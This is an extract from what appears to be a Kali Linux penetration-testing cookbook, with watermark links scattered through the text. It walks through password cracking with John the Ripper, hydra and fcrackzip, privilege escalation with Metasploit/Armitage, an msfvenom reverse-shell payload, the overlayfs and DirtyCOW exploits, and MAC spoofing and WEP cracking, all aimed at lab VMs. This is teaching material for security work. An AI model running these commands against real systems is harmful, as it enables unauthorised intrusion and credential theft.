Try running john with the following command line switch with the
--format=LM and using the lm.out file.
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Cracking local Linux password hashes 
In this recipe, we will crack Linux passwords using John the Ripper.

In this recipe, we will also simulate booting off a CD-ROM in order to crack the
passwords using John the Ripper.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
You have some sample users and passwords setup on your Linux machine
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How to do it...
We will now crack Linux password with John the Ripper:

1. With your Windows machine off start by going into VirtualBox, clicking on the
Linux VM, and click on Settings:

VirtualBox virtual machine screen

2. From the settings menu click Storage. Click on the CD-ROM drive and choose the
Kali ISO that you recently downloaded. Then click OK:
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VirtualBox virtual machine storage settings

3. Now start your Linux VM and it should automatically load the Kali CD. From the
main menu select Live (forensic mode).

Watch the screen carefully depending on what operating system you are
working with, you may be asked to boot off the CD. 
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Kali boot screen

4. Let's use places to find our Linux volume: Click Places | Computer | + Other
Locations and double-click on our Linux volume. You can then close places
window:
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Kali places screen

5. Now open your terminal screen. 
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6. You must change to the directory of your mounted Linux volume. Your ID of the
drive will be different from mine but follow the following steps to find it:

cd /media/root 
ls 

7. From the listed directory contents you will probably just have the one drive - cd
into that drive directory:

Directory listing

8. Now let's use the shadow file and John the Ripper to try and crack the passwords. We
are going to use John the Ripper with default settings. You will notice from the
output that we have cracked a few passwords:

cd etc/ 
john shadow 

John the Ripper output screen
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There's more...
Although we did this attack locally against the shadow file, the attack is the exact same if
done remotely, you just need to get the shadow file from the Linux machine through an
exploit.
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Cracking password hashes with a
wordlist
In this recipe, we will crack hashes using John the Ripper and the password lists.
We will also work with a local shadow file from a Linux machine and we will try to
recover passwords based off wordlists. 
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
You have some sample users and passwords setup on your Linux machine
You copied the shadow file to your Kali root directory
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How to do it...
We will now attempt to crack passwords using a pre-defined wordlist:

1. Verify you have the shadow file copied in the root directory:

Directory listing

2. Let's extract the rockyou password list:

gunzip /usr/share/wordlists/rockyou.txt.gz

3. Let's use John the Ripper with the password file that we just extracted against the
shadow file. You will note that we have some passwords that we recovered that
appear like very simple passwords:

cd  
john --rules -w=/usr/share/wordlists/rockyou.txt shadow 
john --show shadow
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John the Ripper output screen

Note that all the passwords we recovered were not actually dictionary
words but some were just very simple combinations.
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Brute force password hashes
In this recipe, we will crack hashes using John the Ripper in brute force mode. We will
work with a local shadow file from a Linux machine and we will try to recover passwords
by brute forcing them.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
You have some sample users and passwords setup on your Linux machine add
some more and make a couple accounts with random 4 character passwords.
You copied the shadow file to your Kali root directory
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How to do it...
We will use a brute force method of attack on password hashes:

1. Verify you have the shadow file copied in the root directory:

Directory listing

2. To use a brute force attack against our shadow file we can use the following
commands. This command will take a very long time to crack any passwords and
is considered as a last resort:

cd
john -incremental:lanman shadow

John the Ripper progress screen

You can press the spacebar at any time to get an update as to how the
password cracking is going. Also, there are several options after the -
incremental to speed mine along, as I knew my passwords were all
lowercase letters, I used -incremental:lower.

3. After several hours I was able to obtain the passwords for Amy and Sheldon:
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John the Ripper output screen
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Cracking FTP passwords
In this recipe, we will try and crack FTP passwords.

Cracking FTP passwords is a great way to both access the system through FTP and get
the username and passwords against other systems and services. For this recipe, we
will use hydra to test the system.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
Your Metasploitable machine is powered up
Validate the IP address of the Metasploitable machine
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How to do it...
Let's attempt to crack an FTP server passwords:

1. Let's start by logging into the Metasploitable machine and we will create a couple
of users to test against:

cd
sudo useradd raj -p cinnamon -m 
sudo useradd penny -p monkey -m
sudo useradd leonard -p penny -m 

2. Validate the IP address of the Metasploitable machine – in my case it
is 192.168.56.104.
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You have a username but not a password
In this section we will proceed having a known username but an unknown password:

1. Open a terminal window in Kali by clicking the icon. 

2. We will use a hydra to hunt for passwords using a wordlist. You will note that
quite quickly we get a hit for the user we added: 

hydra -l penny -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/

Hydra output screen
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You have a userlist
In this recipe we will used a defined list of actual or potential usernames that exist on
the server:

1. Open a terminal window in Kali by clicking the icon. 
2. We will use a hydra to hunt for passwords using a wordlist along with a predefined

set of usernames. Let's build our name list:

cd 
touch usernames 
echo 'penny' >> usernames 
echo 'leonard' >> usernames 
echo 'raj' >> usernames 

3. Now let's run hydra using our username list and wordlist. You will notice that this
does take some time but ultimately you will get the passwords:

hydra -L ~/usernames -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/

Hydra output screen
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Cracking Telnet and SSH passwords
In this recipe, we will try and crack Telnet and SSH passwords.

Cracking Telnet and SSH passwords can be used against systems as well as
infrastructures. With this, you have the ability to try and penetrate into switches,
firewalls, routers, pretty much any network equipment and most often Linux machines
will have this method of access enabled.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
Your Metasploitable machine is powered up
Validate the IP address of the Metasploitable machine
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How to do it...
We will attempt to crack Telnet and SSH passwords:

1. Let's start by logging into the Metasploitable machine and we will create a couple
of users to test against:

cd 
sudo useradd johndoe -p ketchup -m 
sudo useradd janedoe -p mustard -m 
sudo useradd kiddoe -p monkey -m

2. Validate the IP address of the Metasploitable machine—in my case it is
192.168.56.104.
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Cracking Telnet passwords with a
userlist
In this recipe we will try and crack telnet passwords based on known or potential
username list:

1. Open a terminal window in Kali by clicking the icon. 
2. We will use a hydra to hunt for passwords using a wordlist along with a predefined

set of usernames. Let's build our name list:

cd 
touch usernames2 
echo 'kiddoe' >> usernames2 
echo 'janedoe' >> usernames2 
echo 'johndoe' >> usernames2

3. Now let's run hydra using our username list and wordlist. You will notice that this
does take some time but ultimately you will get the passwords:

hydra -L ~/usernames2 -P /usr/share/wordlists/rockyou.txt telnet://192.168.56.104 

Hydra output screen

Telnet can take a very long time and provide unreliable results. However,
because of its prevalence in legacy networks, it's a great method of attack.
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Cracking SSH password with a known
user
In this recipe we will crack SSH passwords with a know username:

1. Open a terminal window in Kali by clicking the icon. 

2. Now let's run hydra using our known username and wordlist. You will notice that
this does take some time but ultimately you will get the passwords:

hydra -t 4 -l kiddoe -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.104 

Hydra output screen

The -t 4 slows the amount of processes down so it does not overwhelm or
trigger protections against some SSL instances.
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Cracking RDP and VNC passwords
In this recipe, we will try and crack RDP and VNC passwords on our Windows
machine.

Cracking into either RDP or VNC can be a very powerful method to access any system.
While RDP is restricted to Windows systems VNC is a cross platform remote control
utility covering Windows, Mac, and Linux. You can use your previous scanning to look
for open VNC ports even on Windows machines.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
Your Windows machine is powered up on the NAT network
Validate internet connectivity
You have some valid users on the system with RDP enabled for them
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How to do it...
We will now attempt to crack remote access passwords:

1. Let's start by logging into the Windows machine and validate that we have some
accounts ready and also to get VNC downloaded and installed as well.

2. Open internet explorer and browse to www.uvnc.com. Click Downloads at the top.
Select the latest version of the software and download it.

3. Install UltraVNC by double-clicking the icon from the download location:

Directory listing

4. When asked, click Run and select Yes when the UAC dialog box comes up. Select
the appropriate language and click the radio button to accept the agreement and
click Next. Click Next on the release notes info. Validate the installation directory
and click Next. Validate the components being installed—Full Installation and
verify if the UltraVNC Server is selected then click Next. At the shortcut name
screen, accept the default and select Next.

5. At the select additional tasks screen selects all check boxes and click Next:
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6. Finally, go ahead and click Install.
7. Once done, click through the remainder of the screens as needed.
8. Shut down your Windows machine–switch it back to host only–start the Windows

VM.
9. For the purpose of this test, we will assume you know how to add users through the

control panel using the user accounts tab. Add two users:
Username - UserA, password - franks
Username - UserB, password - beans

10. Make sure if you set these users up as standard users and not admins that you allow
them to access the RDP services. To do this on Windows 7, right-click on My
Computer and then click on Properties:
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11. In the upper- left hand corner, click on Remote settings.

12. On the system properties screen, please make sure that you have the radio button
selected to Allow connections from computers running any version of Remote
Desktop (less Secure) selected. Then click on Select Users... :
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13. From the select user dialog, add UserA and UserB and click OK:

14. Close out all the remaining dialog boxes.
15. Validate the IP of your Windows machine; for mine, I am using 192.168.56.105.
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16. Open a terminal window in Kali by clicking the icon. 

17. Now let's run hydra using our known username and wordlist. You will notice that
this does take some time but ultimately you will get the passwords:

hydra -t 4 -W 1 -l UserA -P /usr/share/wordlists/rockyou.txt rdp://192.168.56.105

Hydra output screen

18. To run the same against VNC, simply replace RDP with VNC:

hydra -t 4 -W 1 -l UserA -P /usr/share/wordlists/rockyou.txt vnc://192.168.56.105
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Cracking ZIP file passwords
In this recipe, we will try and crack a ZIP file password.

Sometimes, you will come across ZIP files that have a password on them. Normally, you
can easily crack these passwords with a simple dictionary attack.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
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How to do it...
We will now crack a ZIP files password and recover it's contents:

1. Open a terminal window in Kali by clicking the icon. 
2. Enter the following commands to create an encrypted ZIP file:

cd 
mkdir 6.10 
cd 6.10
touch one two three 
zip -e numbers.zip one two three

3. When asked for a password, let's use a simple one such as password.
4. We will use our rockyou.txt dictionary file from the past recipes along with fcrackzip:

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' numbers.zip

fcrackzip output
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Privilege Escalation
In this chapter, we will cover the following topics:

Establishing a connection as an elevated user
Remotely bypassing Windows UAC
Local Linux system check for privilege escalation
Local Linux privilege escalation
Remote Linux privilege escalation
DirtyCOW privilege escalation for Linux
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Introduction
Now that we have some small foothold in the environment, we will use this foothold to
expand the scope of our breach, increase the admin level, and use lateral movement to
compromise more machines. In most cases, the initial point of a breach is not the
desired target but just a means to get to the more valuable targets. By elevating
privileges it will make your ability to move in the environment much easier.
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Establishing a connection as an elevated
user 
In this recipe, we will establish a connection to a remote Windows computer. We will
use the same skills that we learned in previous chapters to make our initial connection
to the computer. 
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Windows XP VM is powered up
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How to do it...
We will now connect to a Windows machine and elevate that connection to a privileged
level:

1. Validate the IP addresses of your Kali box and your Windows machine—you
should have interfaces on both of your host-only networks on both boxes. In my
case, my Kali VM is 192.168.56.10 and my Windows XP VM is 192.168.56.102.

2. Let's ensure we have NetBIOS over TCP enabled in Windows XP. Log in to your
Windows XP VM as an administrator and click on Start | Control Panel | Network
Connections.

3. Right-click on your Local Area Connection and click on Properties:

Windows network connection screen

4. Click on the Advanced button in the bottom right and then click on WINS at the top,
and ensure Enable NetBIOS over TCP/IP is selected:
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Advanced TCP/IP settings: WINS

5. If it was not selected, click on OK | Close and reboot your Windows XP VM.
6. For the purposes of this book, we will use Armitage, but if you would rather do

everything through the CLI, you may use msfconsole. We will also clear the database
if there are any hosts displayed in it at this time.

Refer to Chapter 4, Finding Exploits in the Target, for information on starting
Armitage or Metasploit and clearing the database, depending on your
preference. 

7. From the Armitage screen, we will click on Hosts | Add Hosts and enter our
Windows XP machine IP address 192.168.56.102 and then click on Add. Click on OK
when it acknowledges that the host was added:
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Armitage: Add Hosts dialog

8. From the top menu, click on Hosts | Nmap Scan | Intense Scan and for the scan
range, enter the IP address of the XP machine and click OK:
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Armitage: nmap scan

9. Once nmap is finished, you will be presented with a Scan Complete! message; click
OK:

10. From the top menu, click on Attacks | Find Attacks:
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Armitage: main screen

11. On the Attack Analysis Complete... screen, click OK.

12. Right-click on the host and click on Attack | smb | ms08_067_netapi:

Armitage: main screen

13. From the Attack dialog, click on Launch:
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Armitage: attack dialog screen

14. You will notice that the host now shows you have compromised the device:

Armitage: main screen
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15. Right-click on the XP host and click on Meterpreter 1 | Interact | Meterpreter Shell:

Armitage: main screen

16. From the shell, enter getuid to see who is currently logged in – you will notice you
have system-level privileges:
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Armitage: main screen
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Remotely bypassing Windows UAC 
In this recipe, we will establish a connection to a remote Windows computer. We will
then bypass User Account Control (UAC) to gain elevated permissions. The UAC is
part of windows attempt to harden itself from remote attack by prompting the user to
confirm potential escalated privileges requests.
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Windows XP VM is powered up
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How to do it...
We will remotely bypass Windows UAC to elevate privileges:

1. Validate the IP addresses of your Kali VM and your Windows VM – you should
have interfaces on both of your host-only networks on both boxes. In my case, my
Kali device is 192.168.56.10 and my Windows XP device is 192.168.56.102.

2. Open a terminal window by clicking the terminal icon: 
3. We will quickly create a payload file with msfvenom by typing the following

command:

msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.56.10 lport=8443 -f exe > /root/exploit.exe 

Kali: Terminal output

4. Once the payload is created, move it to your target machine.

5. Log in to your target machine as a standard user. In my case, I will be logging in as
Jane Doe. You can open Command Prompt and use the qwinsta command, or on later
versions of Windows, you can use the whoami command, similar to Linux systems:

The qwinsta command and the whoami command provide information about
the currently logged in session. The qwinsta has been used since the early
days of Windows. The whoami command was a standard command used in
Linux environments for years and was ultimately adopted by more recent
versions of Windows.
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Windows: Command Prompt

6. Let's start a listener in Armitage for the payload we just copied over.

Refer to Chapter 4, Finding Exploits in the Target, for more information on
creating listeners.

7. From the Armitage main screen, select Armitage | Listeners | Reverse (wait for):
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Armitage: main screen

8. Set the Port to 8443 and the Type as meterpreter, and click on Start Listener:

Armitage: create listener dialog

9. From your Windows machine, launch the exploit.exe file by double-clicking on it:
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Windows main screen: launching exploit

10. You will now notice that we see the device exploited and a session has been
created:
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Armitage: main screen

11. Right-click on the exploited machine and select Meterpreter 1 | Interact |
Meterpreter Shell:
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Armitage: main screen

12. From the meterpreter console, enter the following commands. You will notice that I
am logged in as Jane Doe and I do not have the privileges to run the getsystem
command:

getuid 
sysinfo
getsystem 
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Armitage: meterpreter console

13. To bypass UAC controls, on the left, select exploit | Windows | local |
ms10_015_kitrap0d:

Armitage: main screen

14. In the dialog box, validate that the session correctly identifies the msf session you
are currently working with (in my case, 1), and the LHOST reflects the IP address
of the interface on the same subnet as your Windows machine, and then click on
Launch:

Armitage: exploit options screen

15. You will then see a successful exploit and a new session opened:
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Armitage exploit screen

16. Select this new session by right-clicking on the Windows machine and selecting
Meterpreter 2 | Interact | Meterpreter Shell:

Armitage: main screen

17. Now let's rerun the previous commands. You will notice that I am logged in as
SYSTEM and I do have the privileges to run the getsystem command:

getuid
sysinfo 
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getsystem 

Armitage: meterpreter console
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Local Linux system check for privilege
escalation 
In this recipe, we will use a Python script to check the system for vulnerabilities that
could lead to privilege escalation.
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Getting ready
Let's ensure the following prerequisites:

Your Metasploitable machine is connected to the NAT network (remove it
immediately after this lab)
Your Metasploitable machine is powered up
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How to do it...
In this recipe we will try and discover a vulnerability that will allow us to escalate
privileges in linux:

1. Log in to the Metasploitable machine with the username msfadmin and password
msfadmin.

2. From the terminal prompt of the Metasploitable machine, run the following
commands:

cd <enter>
wget http://www.securitysift.com/download/linuxprivchecker.py <enter>
python ./linuxprivchecker.py >> vulns.txt <enter>
tail --lines=50 vulns.txt |more <enter>

3. You can now scroll through a list of vulnerabilities that can be used against this
machine to provide privilege escalation:

 Metasploitable console output

4. From here, you can use the exploit DB we learned to use in previous recipes to see
what attacks can be used against the Linux VM for privilege escalation.
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Local Linux privilege escalation 
In this recipe, we will use a known exploit to gain elevated privileges for the logged-in
user in Linux. We will have login credentials for a standard user and we will then
escalate their privileges through local account access.
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Getting ready
Let's ensure the following prerequisites:

Your Kali VM is up and running
Download and set up Vulnerable OS 2 (VulnOS2) from https://www.vulnhub.com/entry/vuln
os-2,147/
Attach the network interface to your host-only network
Start your VulnOS2 image

Refer to Chapter 1, Installing Kali and the Lab Setup, if you need assistance
setting up the VM in VirtualBox.
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How to do it...
We will now elevate privileges in Linux:

1. Start by finding the IP address of the VulnOS2 image – we can use a simple nmap

scan to find it. Open a terminal window by clicking on the terminal icon.
2. Enter the following commands to run a quick nmap for the host-only network of

192.168.56.0/24:

nmap -T4 -F 192.168.56.0/24

3. From our output, we can see that the address of the machine is 192.168.56.104:

Kali console output

We are going to use this exploit through SSH access to the device. Local
access to the device will work; however, the person who designed the VM
used the AZERTY keyboard layout, so you will have to adjust for that if
you want to do it locally. As this layout assumes a different keyboard
layout you will not be able to simply type as you normally would. The
creators intention for this is that as a penetration tester you have to be
aware that different users or computers may provide unfamiliar
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environments to you that you would have to adjust to.

4. Let's SSH to the device and use the credentials that we found through other means.
From the Kali command terminal window, enter the following:

ssh webmin@192.168.56.104

The username is webmin and the password is webmin1980. If you are asked
whether to continue connecting, select yes. If you were given an error
stating that the remote host identification has changed, you can clear your
known hosts by typing rm /root/.ssh/known_hosts <enter> from the console and
trying to SSH again.

5. Now assuming we used the previous recipe, Local Linux system check for
privilege escalation, we could find that this system is vulnerable to exploit 37292.

6. Open Firefox and go to https://www.exploit-db.com/exploits/37292/. Review the details of the
exploit and click on View Raw and copy its contents to the clipboard:

Vulnerability 37292 (CVE-2015-1328) overlayfs is a vulnerability
affecting Ubuntu where it does not do proper checking of file creation in
the upper filesystem area. Exploiting this can lead to root privilege.

Firefox: exploit database

7. From the SSH session, enter the following:
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cd <enter>
touch 37292.c <enter>
nano 37292.c <enter>

8. Paste the contents of the clipboard, exit nano, and save the file:

nano editor screen

9. Now we must compile the C code by entering the following—also note that we are
logged in as webmin and the shutdown command fails:

cd <enter>
gcc 37292.c -o 37292 <enter>
whoami <enter>
shutdown -h now <enter>

10. Now let's run the exploit by entering the following:

cd <enter>
./37292 <enter>
whoami <enter>

11. You will now notice that you are the root user:
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Console output screen
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Remote Linux privilege escalation 
In this recipe, we will use Metasploit against the Metasploitable VM to raise the
privileges of the user.
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Getting ready
Let's ensure the following prerequisites:

Your Kali VM is up and running
Your Metasploitable VM is up and running and on the host-only network
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How to do it...
In this recipe we will remotely elevate privilege on a Linux device:

1. First, let's log in to the Metasploitable VM and add a standard user.

Metasploitable's default username is msfadmin and password msfadmin.

2. From the console, enter the following commands to add a user and validate the IP
address of the Metasploitable host:

cd <enter>
ifconfig <enter>
sudo useradd -m user7 <enter>
 msfadmin <enter>ex
sudo passwd user7 <enter>
 password <enter>
 password <enter>
exit <enter>

Metasploitable console

3. From Kali, let's start Armitage.

Refer to Chapter 4, Finding Exploits in the Target, for information on starting
Armitage.
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4. From Armitage, add the Metasploitable VM, in my case 192.168.56.105, by clicking
on Hosts | Add Hosts:

Armitage: main screen

5. From the Add Hosts dialog box, enter your Metasploitable VM's IP address and
click on Add. Click on OK on the confirmation dialog box:

Armitage: Add Hosts dialog box

6. Run a quick scan against the device by selecting the host and then clicking on Hosts
| Nmap Scan | Intense Scan. Ensure the IP address of your VM is populated in the
input screen and click on OK:
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Armitage: Input dialog box

7. Once the scan is complete, click OK in the Scan Complete dialog box.
8. Now click on Attacks | Find attacks from the top menu and click on OK in the

Attack Analysis Complete... dialog box.
9. Now let's log in with Telnet to the Metasploitable machine with the username and

password that we have by right-clicking on the host and selecting Login | telnet:

Armitage: main screen

10. In the login dialog box, enter user7 for the user and password for the password, and
then click on Launch: 

.
Armitage: Launch dialog box

11. You will now see that we have remote access to the box based on the host icon
change:
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Armitage: main screen

12. Right-click on the hosts and select the shell | Interact option, and you will be
dropped into a Command Prompt window on the Metasploitable machine. Enter
the following:

whoami <enter>
shutdown -h now <enter>
sudo shutdown -h now <enter>

13. From the output, you will notice that we are a standard user and have no root or
sudo privileges:
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Armitage: shell output

14. Now let's try and exploit the system to gain root access. Right-click on the hosts
and select Attack | samba | usermap_script:

Armitage: main screen

15. On the attack dialog box, make sure your LHOST is correct, and click on Launch:

Armitage: attack dialog

16. After it shows a successful launch, you will see that a new shell session was
created, in my case, shell 8:
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Armitage exploit output

17. Right-click on the host and select the shell8 | Interact option, and you will be
dropped into a Command Prompt window in the Metasploitable machine. Enter the
following:

whoami <enter>

18. You will now see that we are the root user and we can shut down the host with the
following command:

shutdown -h now <enter>

Armitage shell output

19. You will notice if you switch to the screen of the Metasploitable machine that it is
shutting down:
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Metasploitable console: machine shutting down
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DirtyCOW privilege escalation for Linux
In this recipe, we will use DirtyCOW to exploit Linux.

We will use Metasploit with the DirtyCOW vulnerability to provide privilege
escalation. Dirty Copy-On-Write (DirtyCOW) was recently discovered and was a
major vulnerability as it went for several years without being recognized and patched.
DirtyCOW is a privilege escalation bug that exploits a race condition in the copy on
write function. 
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Getting ready
Let's ensure the following prerequisites:

Your Kali VM is up and running
Your Metasploitable VM is up and running and on the host-only network
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How to do it...
We will now launch DirtyCOW against a Linux machine:

1. Open up a terminal window by clicking on the terminal icon: 
2. Enter the following commands to download our DirtyCOW exploit:

cd <enter>
wget https://github.com/FireFart/dirtycow/raw/master/dirty.c <enter>
nano dirty.c <enter>

3. From within nano, look for the section struct Userinfo user; and change the
user.username to "dirtycow":

nano interface

4. Now we will send over the C code to our Metasploitable machine for compiling.

I will use the same username and password I created in a previous
recipe, Remote Linux privilege escalation.

cd <enter>
scp ./dirty.c user7@192.168.56.105:dirty.c <enter>
password <enter>

5. From your Kali VM, open an SSH session to your Metasploit VM as a standard
user:
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ssh user7@192.168.56.105 <enter>
password <enter>

6. Let's compile our new exploit:

gcc -pthread dirty.c -o dirty -lcrypt <enter>

7. Now we will take a look at how we are before we launch the exploit:

whoami <enter>
id <enter>
cat /etc/shadow <enter>
sudo /etc/shadow <enter>
password <enter>

8. You will notice I am a standard user and have no root privileges, nor am I a sudo
user:

Metasploitable machine output

9. Let's now run the dirtycow exploit:

./dirty <enter>
dirtycow <enter>

This will take several minutes to complete; be patient until you are back at
the Command Prompt window.
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Metasploitable: DirtyCOW exploit

10. Now let's see if we have a user we can su too:

su dirtycow 
dirtycow 
whoami 
id 
cat /etc/shadow

11. You will now see from the output that I am an elevated user and root equivalent:
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Metasploitable: elevated privileges output.

Don't forget to restore your /etc/passwd file when finished by entering the
following command: mv /tmp/passwd.bak /etc/passwd.
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Wireless Specific Recipes
In this chapter, we will cover the following topics:

Scanning for wireless networks
Bypassing MAC-based authentication
Breaking WEP encryption
Obtaining WPA/WPA2 keys
Exploiting guest access
Rogue AP deployment
Using wireless networks to scan and attack internal networks
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Introduction
Although all the previous chapters have created a basis for pen testing that works across
the spectrum, wireless has its own set of tools that span the pen testing methodology.

Scanning for Service Set Identifiers (SSIDs)
Scanning for hidden SSIDs
Determining security of target SSID
Testing for MAC address authentication
Cracking Wired Equivalent Privacy (WEP)
Cracking Wi-Fi Protected Access (WPA/WPA2)
Exploiting guest access
Rogue Access Point (AP) deployment
Man-in-the-Middle (MITM) wireless attacks
Using wireless networks to scan internal networks
Using wireless as a vector for network related attacks
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Scanning for wireless networks
Wireless networking is very popular due to its ease of use, reduction of cabling, and
ease of deployment. Fortunately for us, the very same features that make it easy to use on
a day-to-day setting also make it easy to monitor and to perform attacks from areas that
do not rely on physical access to the network. Often the wireless signal bleeds into
public areas, such as parking lots, adjacent office spaces, shopping malls, and more.
Unless the wireless network administrator has taken great pains to limit the wireless
coverage to only their facility, it is very likely that you can begin your wireless
reconnaissance using a smart phone to identify a good location to set up your Kali Linux
platform within the range.

In this section, we will cover how to use airodump-ng to identify the available wireless
SSIDs including those that are not set to advertise their presence. With the information
gathered, we will then take a look at the different types of security that are in place, and
the best ways to attempt to penetrate those layers of protection.
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Getting ready
Before you can use Kali Linux for wireless scanning, it is important to know which
wireless chipset your wireless adapter is using, as only certain wireless chipsets are
capable of being put into promiscuous or monitor mode. For a list of supported chipsets,
check https://www.aircrack-ng.org/doku.php?id=compatibility_drivers.

In the event that your wireless adapter is not supported, there are many USB wireless
adapters that can be added to an existing testing platform for minimal cost.

Once you have determined that you have a supported wireless chipset, you will need to
put wlan0 into the monitor mode by doing the following:

root@kali:~/# ifconfig wlan0 down
root@kali:~/# iwconfig wlan0 mode monitor
root@kali:~/# ifconfig wlan0 up
root@kali:~/# airmon-ng start wlan0
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||||||||||||||||||||

https://www.aircrack-ng.org/doku.php?id=compatibility_drivers
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


How to do it...
Once you have confirmed that all interfering processes have been stopped, you will use
the following steps to start gathering information on available wireless networks:

1. Create a directory for your results named wireless, and change your directory to it.
This is where the output of the tools will be saved.

2. From the command line, type the following:

root@kali:~/wireless# airodump-ng -w KaliCookbook_8.1 wlan0mon

3. Allow this to run for a few minutes. During this time, you will begin to see
information on wireless networks that can be seen by your device, such as the
following:

Wireless networks seen from airodump-ng

4. Using the preceding information, you can learn the following:
1. We can see that there are a total of 5 ESSIDs, one of which is not

broadcasting its ESSID.
2. Kali_One is showing OPN as its encryption type, meaning anyone can associate

with this ESSID. This is commonly how guest wireless networks are seen.
3. Kali_Two and Kali_Three are showing WEP as their encryption type—but we don't

know yet whether it is 40 bit or 104 bit WEP keys.
4. Kali_Four is showing as WPA2, and PSK for authentication (pre-shared key).
5. If we look at the BSSID (MAC address) of the ESSIDs, we see that they are

sequential. This is common for environments with centrally managed wireless
networks and tells us that successfully connecting to one or more of these
ESSIDs increases our likelihood of gaining access to the corporate network
beyond.

5. From the same directory, list the files generated as a result of the scan. Having this

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


information available to you without the need to continuously scan is important to
minimize the amount of time you need to be actively scanning.
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Bypassing MAC-based authentication
In the absence of a truly centralized authentication, or in the event that devices need to
connect to a wireless network but are unable to provide authentication credentials, very
frequently an open wireless network will be in place that will be configured to only
allow specific MAC addresses to connect. This is frequently the case with older
devices that were manufactured before it was common to secure wireless networks.

Given how simple MAC authentication is to bypass, it is still used in a surprising
number of locations due to the ease of implementation as well as the perception that this
it is effective.
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Getting ready
In order to complete this recipe, you will need to follow the commands laid out in the
previous section Scanning for wireless networks, placing your wireless network
adapter into the monitor mode. 

You can confirm this by running the following:

root@kali:~/wireless# iw dev

Confirm that interface wlan0mon is set to type monitor:
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How to do it...
The steps necessary for this recipe are as follows:

1. Similar to the previous section, we will be using airodump-ng to gather more specific
information. Since we know that the ESSID Kali_One is unauthenticated, we will
look for that specific BSSID and for the devices connecting to it. Open a terminal
session and start airodump-ng as follows:

root@kali:~/wireless#  airodump-ng --bssid 68:86:A7:1D:6D:83 -w KaliCookbook_8.2 wlan0mon

2. As this runs, you will start to see the devices that are currently connecting to this
BSSID, giving you a list of devices that are on the authorized MAC list:

Devices connecting to a particular ESSID

3. Now that we have a MAC address that is on the authorized MAC list, we can use
the macchanger utility to change the MAC address of our Kali Linux machine to match
the preceding device.

4. Open a new root terminal and disable wlan0, change the MAC address, and bring the
interface backup:

root@kali:~/wireless# ifconfig wlan0mon down
root@kali:~/wireless# macchanger -m 7A:DA:38:06:5B:B2 wlan0mon
root@kali:~/wireless# ifconfig wlan0mon up

Using macchanger to use different MAC address

5. Now, attempts to connect to this SSID should be successful. Using NetworkManager,
attempt to connect to the Kali_One SSID, and confirm from the CLI:
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Breaking WEP encryption
Wireless administrators recognized that having open networks or networks that rely on
MAC address authentication, presented an unacceptable level of risk and therefore over
time, there have been many attempts to harden the authentication to wireless networks,
each with their own limitations:

Wired Equivalent Privacy (WEP) uses the RC4 encryption algorithm and
combines the user-defined key with a 24 bit initialization vector (IV).
Unfortunately, IV's are reused thus allowing for us to use tools like aircrack-ng to get
the original key, giving us access to the target network as an authenticated endpoint.
Wi-Fi Protected Access (WPA) comes in several different flavors and is much
more secure than WEP. Because it can be used in a manner similar to WEP where a
pre-shared key is used (WPA-PSK), tools such as fluxion can recover the pre-
shared key, and where WPA2 is used with a central authentication source
(commonly RADIUS), brute forcing becomes necessary with tools such as hashcat
(covered in section Obtaining WPA/WPA2 Keys).

It is important to note that in order for us to be able to recover pre-shared
keys, it is often necessary to monitor a large amount of network traffic in a
PCAP file for analysis, so when placing your systems, keep in mind they
will need to remain undisturbed for potentially quite some time.
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Getting ready
In order to complete this recipe, you will need to follow the commands laid out in the
first recipe of this chapter, placing your wireless network adapter into the monitor
mode. 

You can confirm this by running the following:

root@kali:~/wireless# iw dev

Confirm that the interface wlan0mon is set to type monitor:
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How to do it...
This is the process we will follow to find and expose WEP keys:

1. Based on the scanning done in the section Scanning for wireless networks, we
know that the SSID Kali_Two and Kali_Three are both running WEP on channel 11, and
therefore will be our targets for this section.

2. Using airodump-ng, we will start a dump of data from Kali_Two using the following
command line:

root@kali:~/wireless# airodump-ng -c 11 --bssid 68:86:A7:1D:6D:84 -w KaliCookbook_8.3 wlan0

3. The argument for -c is the channel (channel 11) and BSSID is the MAC address of
the AP (68:86:A7:1D:6D:84). We will write the pcap file to the same directory as in the
previous sections and listen on wlan0mon.

4. Once initiated, it can take a very long time to gather enough data packets to expose
the IV – often between 250,000 and 1,500,000 depending on the key length. You
can see the progression in the progress indicator for airodump-ng, where we are
watching the #Data column:

Progress of airodump-ng

If you would like to run aircrack-ng using test files with known good dumps,
there are many available, along with more in-depth details on advanced
aircrack-ng at this address: https://www.aircrack-ng.org/doku.php?id=aircrack-ng.

5. Once you have gathered enough IV's to begin the cracking process, you will kick
off the process with the following command:

root@kali:~/wireless# aircrack-ng -b 68:86:A7:1D:6D:84 KaliCookbook_8.3-01.cap
Opening KaliCookbook_8.3.cap
 Read 563244 packets.

# BSSID             ESSID      Encryption

1 68:86:A7:1D:6D:84            WEP (563244 IVs)
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Choosing first network as target.

6. The process of cracking the WEP key will begin and be depending on the amount
of data gathered, the key length used; this could take some time. Once complete,
however, you will see a display like the following:

 KEY FOUND! [ kali2 ] 
 Probability: 100%

In our case, the WEP key is kali2, and can now be used to connect directly to
the wireless network as an authenticated end point.
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Obtaining WPA/WPA2 keys
This section will walk you through the process of gathering WPA keys using two
different methods:

Social engineering through SSID manipulation and social engineering with fluxion
Brute force cracking of gathered data using hashcat

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Getting ready
In order to complete this recipe, you will need to follow the commands laid out in the
section Scanning for wireless networks and place your wireless network adapter into
the monitor mode. 

You can confirm this by running the following:

root@kali:~/wireless# iw dev

